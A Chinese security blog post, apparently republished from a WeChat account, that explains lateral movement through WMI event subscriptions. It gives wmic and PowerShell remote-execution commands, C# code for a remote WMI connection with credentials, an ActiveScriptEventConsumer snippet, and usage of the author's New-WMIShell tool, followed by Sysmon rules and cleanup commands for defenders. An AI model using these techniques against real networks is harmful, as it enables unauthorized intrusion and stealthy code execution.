前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Lateral Movement之WMI事件订阅

Lateral Movement之WMI事件订阅

作者头像
鸿鹄实验室
发布2021-04-15 10:30:12
8100
发布2021-04-15 10:30:12
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室

 在之前,我曾在安全客分享过《wmi攻击与防御》的相关议题。里面介绍了关于wmi的一些相关内容,其中提到了使用wmi进行横向移动的方法,只是当时由于时间原因并未对细节进行讲解,在成熟的企业内网中,如何优雅的进行横向移动是需要每个安全人员需要去注意的点。比如如何使用CobaltStrike、Impacket等工具进行横向移动时最小化操作的技巧等。本文将讲解如何使用wmi事件订阅来进行横向移动。

关于wmi事件的横向移动

和大多数的横向移动手法一样,我们使用wmi事件进行横向移动时依旧要求我们有对目标机器的操作权限(或访问凭据),该技术可以实现无文件的效果,这也是该技术的优点之一。

我们在日常的工作中也不乏会使用WMI进行横向移动,比如下面的手法进行pass the ticket,图片来自推特

代码语言:javascript
复制
wmic /authority:”kerberos:CORP\WIN8WORKSTATION” /node:172.16.48.83 process call create “stuff”

而我们今天要说的则是使用wmi事件订阅进行横向移动。与本地执行所不同的是我们如果需要远程执行,则需要配置ManagementScope与ConnectionOptions,比如下面这样:

代码语言:javascript
复制
string NAMESPACE = "\\\\\\\\" + Config.REMOTE_HOST + "\\\\root\\\\subscription";

ConnectionOptions cOption = new ConnectionOptions();
ManagementScope scope = null;
scope = new ManagementScope(NAMESPACE, cOption);
if (!String.IsNullOrEmpty(ACTIVE_DIRECTORY_USERNAME) && !String.IsNullOrEmpty(ACTIVE_DIRECTORY_PASSWORD))
{
  scope.Options.Username = ACTIVE_DIRECTORY_USERNAME;
  scope.Options.Password = ACTIVE_DIRECTORY_PASSWORD;
  scope.Options.Authority = string.Format("ntlmdomain:{0}", ACTIVE_DIRECTORY_DOMAIN);
}
scope.Options.EnablePrivileges = true;
scope.Options.Authentication = AuthenticationLevel.PacketPrivacy;
scope.Options.Impersonation = ImpersonationLevel.Impersonate;

代码来自:Dominic Chell

然后我们就需要了解一些关于WMI事件的基础知识了,在进行事件订阅时,我们需要构建两个部分,即fileter与consumer,然后将其绑定在一起,即可达到我们的效果。事件消费者可以分为临时和永久两类,临时的事件消费者只在其运行期间关心特定事件并处理,永久消费者作为类的实例注册在WMI命名空间中,一直有效到它被注销。

在命名空间中包含如下的类:

代码语言:javascript
复制
LogFileEventConsumer
ActiveScriptEventConsumer
NTEventLogEventConsumer
SMTPEventConsumer
CommandLineEventConsumer

他们都属于

代码语言:javascript
复制
- ROOT\CIMV2
- ROOT\DEFAULT

这两个命名空间。我们需要关注的是ActiveScriptEventConsumer和CommandLineEventConsumer类,其中ActiveScriptEventConsumer类允许脚本代码的执行,如JScript或VBScript,而CommandLineEventConsumer类允许运行任意命令。我一般选择使用ActiveScriptEventConsumer来进行使用,这样可以避免一些使用CommandLineEventConsumer时调用lolbin时被拦截的情况。

了解了这些之后,我们就需要寻找一个用来触发的事件了,一般如果需要权限维持的话,我们可以选择Win32_LogonSession,监听登录来触发,但我们仅仅是为了横向移动而已,所以我们选择更简单的方式来进行触发即创建一个进程,然后查询是否具有该进程,有的话,则触发。关于在远程机器上创建进程可以使用下面的语句:

代码语言:javascript
复制
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName 192.168.0.102 -Credential 'DM\administrator'

然后用下面的方法进行应用过滤器即可:

代码语言:javascript
复制
 Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments

然后我们要做的就是调用ActiveScriptEventConsumer来执行我们想要执行的程序,可以用使用 ScriptFileName 指定脚本的路径,也可以直接使用 ScriptText 将脚本内容直接写入。示例如下:

代码语言:javascript
复制
$setings = @{
Name = $EventName;
ScriptingEngine = 'JScript';
ScriptText = 'new ActiveXObject("Wscript.Shell").Run("cmd.exe /c echo 1 > c:\\1.txt");'
}

最后将Filter与Consumer进行绑定即可,绑定、执行完之后进行清理即可。

下面是国外大佬的demo视频。

由于本人没有见到源程序,只好使用powershell进行了简单实现,源代码已上传到github,地址如下:

https://github.com/lengjibo/RedTeamTools/tree/master/windows/WMIShell

效果如下:

额,换windows,再来。

代码语言:javascript
复制
PS C:\Users\Administrator\Desktop> New-WMIShell -Target '192.168.2.115' -Username 'administrator' -Password 'abc123!' -ProcessName 'notepad.exe' -JScriptPath C:\Users\Administrator\Desktop\payload.js -FilterName 'sdqwsda' -ConsumerName 'sdqwsda'

防御:

关于此类攻击的防御,只需关注相关事件即可:

代码语言:javascript
复制
<RuleGroup name="" groupRelation="or">
<!-- Event ID 19,20,21, == WmiEvent. Log all WmiEventFilter, WmiEventConsumer, WmiEventConsumerToFilter activity-->
<WmiEvent onmatch="exclude"/>
</RuleGroup>

或者查看各类wmi的情况:

查看系统上注册的WMI事件消费者

代码语言:javascript
复制
Get-WMIObject -Namespace root/Subscription -Class __EventConsumer

查看系统上注册的事件过滤器

代码语言:javascript
复制
Get-WMIObject -Namespace root/Subscription -Class __EventFilter

查看系统上已经绑定的过滤器和消费者

代码语言:javascript
复制
Get-WMIObject -Namespace root/Subscription -Class __FilterToConsumerBinding

然后移除即可

代码语言:javascript
复制
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter “Name=’Updater’” | Remove-WmiObject -Verbose
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter “Name=’Updater’” | Remove-WmiObject -Verbose
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter “__Path LIKE ‘%Updater%’” | Remove-WmiObject -Verbose

总结:

参考文章:

https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/

声明: 文章初衷仅为攻防研究学习交流之用,严禁利用相关技术去从事一切未经合法授权的入侵攻击破坏活动,因此所产生的一切不良后果与本文作者及该公众号无任何关联。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-09-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档